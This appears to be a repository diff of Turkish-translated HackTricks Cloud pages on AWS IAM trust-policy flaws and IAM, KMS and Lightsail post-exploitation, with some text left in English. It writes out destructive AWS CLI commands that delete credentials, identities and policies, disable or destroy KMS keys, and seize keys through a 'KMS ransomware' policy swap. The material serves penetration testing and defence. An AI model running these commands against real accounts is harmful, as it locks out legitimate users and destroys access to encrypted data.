Ancak, bu `ExternalId` "gizli" bilgisinin **aslında gizli olmadığını** unutmayın; IAM assume role policy'yi **okuyabilen herkes bunu görebilir**. Yine de, harici hesap A bunu bildiği sürece ve harici hesap **B bunu bilmediği sürece**, bu durum **B'nin A'yı kötüye kullanarak hesabınızdaki role'e erişmesini engeller**.
|
||||
|
||||
Örnek:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Bir saldırganın bir confused deputy'i istismar edebilmesi için, mevcut hesapta yer alan principals'ın diğer hesaplardaki roles'leri impersonate edip edemediğini bir şekilde tespit etmesi gerekir.
|
||||
|
||||
### Beklenmeyen Güven İlişkileri
|
||||
|
||||
#### Principal olarak wildcard
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Bu politika **tüm AWS'nin** rolü üstlenmesini sağlar.
|
||||
|
||||
#### Hizmetin principal olarak kullanılması
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
#### S3 principal olarak
|
||||
|
||||
Bu politika **herhangi bir hesabın** apigateway'ini yapılandırarak bu Lambda'yı çağırmasına izin verir.
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
Eğer bir S3 bucket principal olarak verildiyse — çünkü S3 bucket'ların bir Account ID'si yoktur — siz **deleted your bucket and the attacker created** ise ve attacker bunu kendi hesabında oluşturduysa, bunu suistimal edebilirler.
|
||||
|
||||
#### Desteklenmiyor
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Confused Deputy sorunlarından kaçınmanın yaygın yollarından biri, kaynağın ARN'sini kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı servisler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi).
|
||||
|
||||
### Kimlik Bilgilerinin Silinmesi
|
||||
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Kimlik Silme
|
||||
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` veya `iam:RemoveUserFromGroup` gibi izinlerle bir aktör kullanıcıları, rolleri veya grupları silebilir ya da grup üyeliğini değiştirebilir — böylece kimlikleri ve bunlarla ilişkili izleri kaldırır. Bu, bu kimliklere bağlı kişi ve hizmetlerin erişimini anında bozarak hizmet reddine veya erişim kaybına neden olabilir; bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Bu izinlerden herhangi biri — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — bir aktörün yönetilen/inline politikaları silmesine veya ayırmasına, politika sürümlerini veya izin sınırlarını kaldırmasına ve politikaların kullanıcılar, gruplar veya rollerle bağlantısını kesmesine olanak tanır. Bu yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu da bu politikalara bağlı olan principal'lar için anında erişim kaybına veya denial-of-service'e yol açabilir, bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Federated Kimlik Silme
|
||||
With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya client ID'lerini kaldırabilir. Bu, federated authentication'ı bozarak token doğrulamayı engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO'ya dayanan kullanıcılar ve servisler için erişimi derhal engeller.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Yetkisiz MFA Etkinleştirme
|
||||
`iam:EnableMFADevice` ile bir aktör, bir kullanıcının kimliğine bir MFA cihazı kaydedebilir ve meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde kullanıcı, cihaz kaldırılana veya sıfırlanana kadar kilitlenebilir (Not: birden fazla MFA cihazı kaydedildiyse, oturum açmak için yalnızca biri yeterlidir; bu nedenle bu saldırı erişimi engellemede etkili olmayacaktır).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Sertifika/Anahtar Meta Veri Değiştirme
|
||||
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, bir aktör açık anahtarların ve sertifikaların durumunu veya meta verilerini değiştirebilir. Anahtarları/sertifikaları devre dışı bırakarak veya referansları değiştirerek SSH kimlik doğrulamayı bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağımlı hizmetleri derhal aksatabilir; bu da erişim veya kullanılabilirlik kaybına neden olur.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Kaynaklar
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,182 +0,0 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` dosyayı ikili modda okur, genellikle metin olmayan dosyalar için kullanılır.
|
||||
- `file://:` dosyayı metin modunda okur, tipik olarak düz metin dosyaları, scriptler veya özel kodlama gereksinimi olmayan JSON için kullanılır.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
|
||||
|
||||
- Using a **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Bir **asymmetric** anahtar kullanma:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve hesabına bu anahtarlara erişim verebilir; meşru hesabın sahip olduğu erişimi kaldırabilir.
|
||||
|
||||
Böylece meşru hesap kullanıcıları, bu anahtarlarla şifrelenmiş herhangi bir servisin bilgilerine erişemeyecek ve bu, hesap üzerinde basit ama etkili bir ransomware oluşturacaktır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu saldırıdan **AWS managed keys etkilenmez**, sadece **Customer managed keys** etkilenir.
|
||||
|
||||
> Ayrıca **`--bypass-policy-lockout-safety-check`** parametresinin kullanılması gerektiğini unutmayın (web konsolunda bu seçeneğin olmaması bu saldırıyı yalnızca CLI'dan mümkün kılar).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Bu politikayı değiştirip erişimi yalnızca bir harici hesaba verirseniz ve ardından bu harici hesaptan orijinal hesaba erişimi geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız çünkü Put Polocy action cannot be performed from a cross account.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
global KMS Ransomware gerçekleştirmek için başka bir yol daha vardır; bu aşağıdaki adımları içerir:
|
||||
|
||||
- Saldırgan tarafından içe aktarılan **key with a key material** ile yeni bir key oluşturun
|
||||
- **Re-encrypt older data** — kurbanın önceki sürümle şifrelenmiş daha eski verilerini yeni sürümle yeniden şifreleyin
|
||||
- **Delete the KMS key**
|
||||
- Artık yalnızca orijinal key material'e sahip saldırgan şifrelenmiş veriyi çözebilecektir
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Anahtarları yok etme
|
||||
|
||||
Anahtarları yok ederek DoS gerçekleştirmek mümkündür.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Unutmayın: AWS artık **önceki işlemlerin hesaplar arası olarak gerçekleştirilmesini engelliyor:**
|
||||
|
||||
### Alias'i Değiştir veya Sil
|
||||
Bu saldırı AWS KMS alias'larını siler veya yeniden yönlendirir, anahtar çözümlemesini bozar ve bu alias'lara bağlı olan hizmetlerde anında hatalara yol açarak bir hizmet engelleme (denial-of-service) durumuna neden olur. `kms:DeleteAlias` veya `kms:UpdateAlias` gibi izinlerle bir saldırgan alias'ları kaldırabilir veya yeniden hedefleyebilir ve kriptografik işlemleri (ör. encrypt, describe) kesintiye uğratabilir. Alias yerine key ID'yi referans veren herhangi bir hizmet, alias geri yüklenene veya doğru şekilde yeniden eşlenene kadar başarısız olabilir.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Anahtar Silinmesini İptal Etme
|
||||
`kms:CancelKeyDeletion` ve `kms:EnableKey` gibi izinlerle, bir aktör bir AWS KMS customer master key'in planlanmış silinmesini iptal edebilir ve daha sonra yeniden etkinleştirebilir. Bu işlem anahtarı kurtarır (başlangıçta Disabled durumunda) ve daha önce korunan verileri şifre çözme yeteneğini geri kazandırır; böylece exfiltration mümkün olur.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Anahtarı Devre Dışı Bırak
|
||||
`kms:DisableKey` iznine sahip bir aktör, bir AWS KMS customer master key'i devre dışı bırakabilir ve böylece key'in encryption veya decryption için kullanılmasını engeller. Bu, o CMK'ye bağlı hizmetlerin erişimini keser ve anahtar yeniden etkinleştirene kadar anında kesintilere veya bir denial-of-service'e neden olabilir.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Paylaşılan Sır Türetme
|
||||
`kms:DeriveSharedSecret` izniyle, bir aktör KMS tarafından tutulan bir private key ile kullanıcı tarafından sağlanan bir public key'i kullanarak bir ECDH shared secret hesaplayabilir.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
`kms:Sign` izniyle, bir aktör KMS'de saklanan bir CMK'yı özel anahtarı ifşa etmeden veriyi kriptografik olarak imzalamak için kullanabilir; bu, impersonation'a olanak tanıyan veya kötü amaçlı işlemleri yetkilendiren geçerli imzalar üretir.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` veya `kms:UpdateCustomKeyStore` gibi izinlere sahip bir aktör, bir AWS KMS Custom Key Store (CKS)'yi değiştirebilir, bağlantısını kesebilir veya silebilir ve böylece master anahtarlarını çalışmaz hâle getirebilir. Bu, bu anahtarlara bağlı hizmetler için şifreleme, şifre çözme ve imzalama işlemlerini bozarak anında bir denial-of-service'e neden olabilir. Bu nedenle bu izinlerin kısıtlanması ve izlenmesi kritiktir.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+183
@@ -0,0 +1,183 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Daha fazla bilgi için bak:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Şifreleme/Şifre çözme bilgileri
|
||||
|
||||
`fileb://` ve `file://` AWS CLI komutlarında yerel dosya yolunu belirtmek için kullanılan URI şemalarıdır:
|
||||
|
||||
- `fileb://:` Dosyayı binary modda okur, genellikle metin olmayan dosyalar için kullanılır.
|
||||
- `file://:` Dosyayı metin modunda okur; genellikle düz metin dosyaları, scriptler veya özel encoding gerektirmeyen JSON için kullanılır.
|
||||
|
||||
> [!TIP]
|
||||
> Dosya içindeki bazı verileri şifre çözmek istiyorsanız, dosya binary veriyi içermelidir, base64 kodlu veri değil. (fileb://)
|
||||
|
||||
- **Simetrik** bir anahtar kullanarak
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Bir **asimetrik** anahtar kullanarak:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **hesabına bu anahtarlara erişim verebilir**, meşru hesaba verilmiş erişimi kaldırabilir.
|
||||
|
||||
Bu durumda, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir servisin hiçbir verisine erişemeyecek ve bu, hesap üzerinde kolay ama etkili bir ransomware oluşturacaktır.
|
||||
|
||||
> [!WARNING]
|
||||
> Dikkat: **AWS managed keys aren't affected** bu saldırıdan etkilenmez; etkilenenler yalnızca **Customer managed keys**.
|
||||
|
||||
> Ayrıca **`--bypass-policy-lockout-safety-check`** parametresinin kullanılması gerektiğini unutmayın (web console'da bu seçeneğin olmaması bu saldırıyı yalnızca CLI üzerinden mümkün kılar).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Bu politikayı değiştirip yalnızca bir external account'a erişim verirseniz ve ardından bu external account'tan orijinal hesaba erişimi geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız çünkü Put Polocy action cross account'tan gerçekleştirilemez.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Küresel bir KMS Ransomware gerçekleştirmek için başka bir yol daha vardır; bu şu adımları içerir:
|
||||
|
||||
- Create a new **key with a key material** imported by the attacker
|
||||
- **Re-encrypt older data** of the victim encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
### kms:DeleteImportedKeyMaterial ile Anahtarları Silme
|
||||
|
||||
`kms:DeleteImportedKeyMaterial` iznine sahip bir aktör, `Origin=EXTERNAL` olan CMKs'den (key material'larını import etmiş CMK'ler) imported key material'i silebilir ve böylece bu CMK'ların veriyi decrypt etmesini imkansız hale getirebilir. Bu eylem yıkıcıdır ve uyumlu bir materyal tekrar import edilmedikçe geri döndürülemez; bu da bir saldırganın şifrelenmiş bilgiyi kalıcı olarak erişilemez hale getirerek ransomware-benzeri veri kaybına neden olmasını sağlar.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Anahtarları yok etme
|
||||
|
||||
Anahtarları yok etmek DoS gerçekleştirmeye yol açabilir.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> AWS'nin artık önceki eylemlerin bir hesaplar arası ortamdan gerçekleştirilmesini **engellediğini** unutmayın:
|
||||
|
||||
### Alias'ı Değiştirme veya Silme
|
||||
Bu saldırı AWS KMS alias'larını siler veya yönlendirir, key resolution'ı bozar ve bu alias'lara bağlı hizmetlerde hemen hatalara neden olur; bu da bir denial-of-service ile sonuçlanır. `kms:DeleteAlias` veya `kms:UpdateAlias` gibi izinlere sahip bir saldırgan alias'ları kaldırabilir veya yeniden yönlendirebilir ve kriptografik işlemleri (örn., encrypt, describe) bozabilir. Alias yerine key ID'yi referans alan herhangi bir hizmet, alias geri yüklenene veya doğru şekilde yeniden eşlenene kadar başarısız olabilir.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Anahtar Silimini İptal Etme
|
||||
`kms:CancelKeyDeletion` ve `kms:EnableKey` gibi izinlere sahip bir aktör, bir AWS KMS customer master key'in planlanmış silinmesini iptal edebilir ve daha sonra onu yeniden etkinleştirebilir. Bu işlem anahtarı (başlangıçta Disabled durumda) kurtarır ve daha önce korunmuş verileri deşifre etme yeteneğini geri getirir; böylece exfiltration mümkün olur.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Anahtarı Devre Dışı Bırak
|
||||
|
||||
`kms:DisableKey` izniyle bir aktör, bir AWS KMS customer master key'i devre dışı bırakabilir; bu, anahtarın şifreleme veya şifre çözme için kullanılmasını engeller. Bu, o CMK'ye bağımlı hizmetlerin erişimini keser ve anahtar yeniden etkinleştirilene kadar anında aksamalara veya bir denial-of-service'e neden olabilir.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
`kms:DeriveSharedSecret` izni ile, bir aktör KMS'de tutulan bir özel anahtarı ve kullanıcı tarafından sağlanan bir açık anahtarı kullanarak bir ECDH paylaşılan sırrı hesaplayabilir.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
`kms:Sign` izni ile bir aktör, KMS'de saklanan bir CMK'yi özel anahtarı açığa çıkarmadan verileri kriptografik olarak imzalamak için kullanabilir; bu, impersonation'a olanak tanıyabilecek veya kötü amaçlı işlemleri yetkilendirebilecek geçerli imzalar üretir.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### Custom Key Stores ile DoS
|
||||
`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, veya `kms:UpdateCustomKeyStore` gibi izinlere sahip bir aktör, bir AWS KMS Custom Key Store (CKS) üzerinde değişiklik yapabilir, bağlantısını kesebilir veya silebilir; bu da master anahtarlarını kullanılamaz hâle getirir. Bu, o anahtarlara bağlı hizmetler için şifreleme, şifre çözme ve imzalama işlemlerini bozar ve anında bir denial-of-service'e yol açabilir. Bu nedenle bu izinleri kısıtlamak ve izlemek kritik öneme sahiptir.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Eski DB anlık görüntülerini geri yükle
|
||||
|
||||
Eğer DB anlık görüntülerine sahipse, **eski anlık görüntülerde şu anda silinmiş hassas bilgileri bulma** şansınız olabilir. **Anlık görüntüyü** **yeni bir veritabanında** geri yükleyin ve kontrol edin.
|
||||
|
||||
### Instance Anlık Görüntülerini Geri Yükle
|
||||
|
||||
Instance anlık görüntüleri, zaten silinmiş instance'ların **hassas bilgilerini** veya mevcut instance'da silinmiş hassas bilgileri içerebilir. **Anlık görüntülerden yeni instance'lar oluşturun** ve kontrol edin.\
|
||||
Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin.
|
||||
|
||||
### Hassas Bilgilere Erişim
|
||||
|
||||
Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine göz atın:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
